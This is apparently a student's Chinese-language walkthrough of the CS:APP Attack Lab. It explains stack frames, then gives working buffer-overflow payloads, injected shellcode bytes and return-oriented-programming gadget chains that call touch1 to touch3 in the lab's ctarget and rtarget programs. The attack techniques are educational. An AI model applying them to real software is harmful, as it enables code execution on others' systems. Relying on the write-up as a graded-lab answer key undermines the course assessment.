緩衝區溢出攻擊也是第三章的配套實驗,實驗提供了兩個有緩衝區溢出漏洞的x86-64程序(CSAPP 3e: Attack Lab),要求咱們設計「惡意輸入」,利用程序漏洞,實現指令注入,執行未受權代碼。兩個漏洞程序:ctarget 和 rtarget。ctarget 對運行時棧無保護,既沒有棧地址隨機化,也容許執行棧上的指令,十分容易攻擊。rtarget 則開啓了棧地址隨機化,且不容許執行棧上的指令,所以沒法利用指令注入,對它的攻擊被稱爲return-oriented programming (ROP),要利用到程序中原有的一些特殊的字節序列:gadget。python
程序用運行時棧(runtime stack)實現C語言中「函數」的概念。調用一個函數所需的棧空間被稱爲棧幀,按地址從大往小,從棧底往棧頂看,一個棧幀中依次保存了寄存器,局部變量,調用其餘函數所需的參數,返回地址等,以下圖所示(《CSAPP》圖3-25)。函數執行完跳轉回調用方,須要執行ret
指令,ret
可分爲兩步:一是從棧中彈出返回地址;二是設置程序計數器(Program Counter)%rip
,將控制流轉移到彈出的返回地址。當程序在棧上的緩衝區溢出,返回地址就可能被篡改,使得控制流跳轉到未受權的指令。經過設計惡意輸入,還可以在棧上注入指令,執行攻擊者的非法操做。緩存
objdump -d ctarget > ctarget.d
,導出實驗給出的的有緩存區溢出危險的函數以下。能夠看到緩衝區大小爲0x28,所以設計惡意輸入時,要先用40字節寫滿緩衝區,下文就再也不浪費筆墨寫這40字節了。因爲緩衝區是從棧頂向棧底寫入的,且getbuf
沒有保存寄存器,看上面的棧幀結構圖就知道,填滿緩衝區以後,溢出的部分能夠直接覆蓋返回地址,這是攻擊的基礎。cookie
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop
實驗提供了詳細的說明,見attacklab.pdf。ctarget和rtarget包含了3個相同的目標函數:touch1
,touch2
和touch3
。實驗要求設計惡意輸入,在棧上修改getbuf
的返回地址並設計參數,調用這3個目標函數(rtarget不須要調用touch1
),cookie
是實驗提供的一個標識值,0x59b997fa。app
void touch1() { vlevel = 1; /* Part of validation protocol */ printf("Touch1!: You called touch1()\n"); validate(1); exit(0); } void touch2(unsigned val) { vlevel = 2; /* Part of validation protocol */ if (val == cookie) { printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2); } exit(0); } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }
objdump -d ctarget > ctarget.d
touch1
的入口地址爲0x004017c0
phase_1
,檢查答案執行./hex2raw < phase_1 | ./ctarget -q
// 棧頂(低地址) // 40 字節,寫滿緩衝區 c0 17 40 00 00 00 00 00 // 棧頂(高地址)
// 棧頂(低地址) // 40 字節,寫滿緩衝區 // <-- getbuf 開始執行 ret 時,%rsp 的位置 注入的指令的地址 // <-- getbuf 執行完 ret 時,%rsp 的位置 touch2 的地址 movl $cookie, %edi ret // 棧頂(高地址)
getbuf
的ret
指令設斷點,取到%rsp
的值注入的指令的地址
應爲 %rsp + 0x10
,爲 0x5561dcb0
touch2
地址爲0x004017ec
movl $0x59b997fa, %edi
機器碼爲 bf fa 97 b9 59
,ret
機器碼爲 c3
// 棧頂(低地址) // 40 字節,寫滿緩衝區 b0 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00 bf fa 97 b9 59 c3 // 棧頂(高地址)
touch3
的參數是字符串,須要在棧上存儲字符串// 棧頂(低地址) // 40 字節,寫滿緩衝區 // <-- getbuf 開始執行 ret 時,%rsp 的位置 注入的指令的地址 // <-- getbuf 執行完 ret 時,%rsp 的位置 touch3 的地址 cookie 字符串 // getbuf 執行完 ret 時,cookie 字符串地址爲 %rsp + 0x8 leaq 0x8(%rsp), %rdi ret // 棧頂(高地址)
getbuf
的ret
指令設斷點,取到%rsp
的值注入的指令的地址
應爲 %rsp + 0x20
,0x20
爲兩個地址加字符串長度,爲0x5561dcc0
touch3
地址爲 0x004018fa
python -c "print(' '.join(hex(ord(i))[2:] for i in '59b997fa'))"
leaq 0x8(%rsp), %rdi
機器碼48 8d 7c 24 08
,綜上,答案:// 棧頂(低地址) // 40 字節,寫滿緩衝區 c0 dc 61 55 00 00 00 00 fa 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 // 字符串 00 00 00 00 00 00 00 00 // 字符串結尾,8個字節方便計算 48 8d 7c 24 08 c3 // ret // 棧頂(高地址)
與ctarget相比,對rtarget的攻擊存在兩個難點:函數
第一點能夠經過相對地址,即 %rsp + offset
的方式解決。
第二點則要利用rtarget中原有的特殊字節序列:gadget。上文的實驗說明給了一個例子,程序中有這樣的一個函數:設計
0000000000400f15 <setval_210>: 400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi) 400f1b: c3 retq
其中48 89 c7
是movq %rax, %rdi
的機器碼,後面接着c3
,即retq
。緩衝區溢出,改寫getbuf
的返回地址爲48 89 c7
的地址(0x400f18),就能執行movq %rax, %rdi
這條指令,接着retq
,使得攻擊者能夠繼續利用上述過程執行攻擊指令。以上攻擊手段被稱爲return-oriented programming,48 89 c7 c3
就是一個"gadget"。實驗給出了全部可利用的gadget的源碼,在farm.c,attacklab.pdf列出了rtarget中全部gadget及對應的指令。code
touch2
,須要傳參,能夠先把參數寫入棧,再利用gadget popq %rdi
popq %rdi
,只有 popq %rax
和movq %rax, %rdi
popq %rax
和movq %rax, %rdi
地址分別爲0x004019cc,0x004019a2// 棧頂(低地址) // 40 字節,寫滿緩衝區 // <-- getbuf 開始執行 ret 時,%rsp 的位置 cc 19 40 00 00 00 00 00 // gadget "popq %rax" 地址 // <-- popq %rax 開始執行時,%rsp 的位置 fa 97 b9 59 00 00 00 00 // cookie // <-- gadget "popq %rax" 開始執行 ret 時,%rsp 的位置 a2 19 40 00 00 00 00 00 // gadget "movq %rax, %rdi" 地址 // <-- gadget "movq %rax, %rdi" 開始執行 ret 時,%rsp 的位置 ec 17 40 00 00 00 00 00 // touch2 地址 // 棧頂(高地址)
touch3
的參數是字符串,這要求咱們在棧上存儲字符串,且要取得字符串的地址leaq $offset(%rsp), %rdi
的指令lea (%rdi, %rsi, 1), %rax
$offset
也要放到棧上,再popq %rdi
或popq %rsi
%rsp
不能做爲movl
的操做數,movl
會對高位4字節補零touch3
返回地址高,不然會被覆蓋$offset
爲字符串地址相對於getbuf
開始執行時的棧地址的偏移值,爲0x48// 棧頂(低地址) // 40 字節,寫滿緩衝區 // <-- getbuf 開始執行 ret 時,%rsp 的位置 movq %rsp, %rax // 0x00401a06 movq %rax, %rdi // 0x004019a2 popq %rax // 0x004019ab // <-- "popq %rax" 開始執行時,%rsp 的位置 // $offset movl %eax, %edx // 0x004019dd movl %edx, %ecx // 0x00401a34 movl %ecx, %esi // 0x00401a13 leaq (%rdi, %rsi, 1), %rax // 0x004019d6 movq %rax, %rdi // 0x004019a2 // touch3 地址 0x004018fa // cookie 字符串